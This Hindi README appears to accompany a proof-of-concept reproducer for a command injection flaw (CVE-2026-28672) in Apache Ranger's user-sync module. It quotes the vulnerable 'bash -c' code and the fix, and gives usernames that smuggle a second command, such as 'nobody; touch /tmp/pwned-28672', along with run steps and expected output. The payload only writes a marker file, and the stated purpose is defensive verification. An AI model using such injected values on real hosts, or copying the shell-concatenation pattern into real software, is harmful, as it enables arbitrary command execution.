
Apache Ranger UnixUserGroupBuilder OS command injection (CVE-2026-28672) के लिए proof-of-concept रिप्रोड्यूसर, जो भेद्यता का प्रदर्शन करता है और फिक्स को सत्यापित करता है।
UnixUserGroupBuilder OS कमांड इंजेक्शनApache Ranger के user-sync (unixusersync) मॉड्यूल में OS कमांड इंजेक्शन के लिए चलाने योग्य प्रूफ-ऑफ-कॉन्सेप्ट रीप्रोड्यूसर।
प्रत्येक सिंक किए गए उपयोगकर्ता के समूहों की गणना करते समय, UnixUserGroupBuilder id कमांड को एक शेल के माध्यम से चलाता है, और उपयोगकर्ता नाम को कमांड लाइन में जोड़ता है:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
उपयोगकर्ता नाम कॉन्फ़िगर किए गए user-sync स्रोत (LDAP/AD या एक फ़ाइल) से आता है, इसलिए यह हमलावर-प्रभावित होता है। शेल मेटाकैरेक्टर युक्त उपयोगकर्ता नाम — जैसे alice; touch /tmp/pwned — OS कमांड के रूप में निष्पादित हो जाता है (CWE-77, कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन)।
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
भेद्य कोड पथ पर अपेक्षित आउटपुट:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
| गुण | मान |
|---|---|
| प्रोजेक्ट | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| क्लास | CWE-77 कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('कमांड इंजेक्शन') |
| हमला वेक्टर | user-sync स्रोत द्वारा आपूर्ति किया गया शेल मेटाकैरेक्टर युक्त उपयोगकर्ता नाम |
| प्रभाव | Ranger user-sync होस्ट पर मनमाना OS कमांड निष्पादन |
| प्रभावित संस्करण | 0.6 से 2.8 तक |
| समाधानित संस्करण | 2.9.0 |
| परामर्श | lists.apache.org थ्रेड · CVE-2026-28672 |
| श्रेय | Andrea Cosentino |
Apache Ranger 2.9.0 id को सीधे एक आर्गुमेंट वेक्टर के रूप में चलाता है, इसलिए उपयोगकर्ता नाम एक एकल लिटरल आर्गुमेंट होता है और शेल द्वारा कभी व्याख्या नहीं किया जाता:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
इस रिपॉज़िटरी में UnixUserGroupBuilderVuln.java दोनों रूपों को शब्दशः समाहित करता है, जिन्हें अपस्ट्रीम स्रोत से उद्धृत किया गया है।
यह रिपॉज़िटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Ranger उपयोगकर्ताओं को भेद्यता समझने, यह सत्यापित करने में मदद करने के लिए कि वे प्रभावित हैं या नहीं, और यह पुष्टि करने के लिए कि अपग्रेड करने से यह हल हो जाती है। पेलोड हानिरहित है (यह /tmp के अंतर्गत एक मार्कर फ़ाइल बनाता है)। इस सामग्री का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी या संचालक आप नहीं हैं।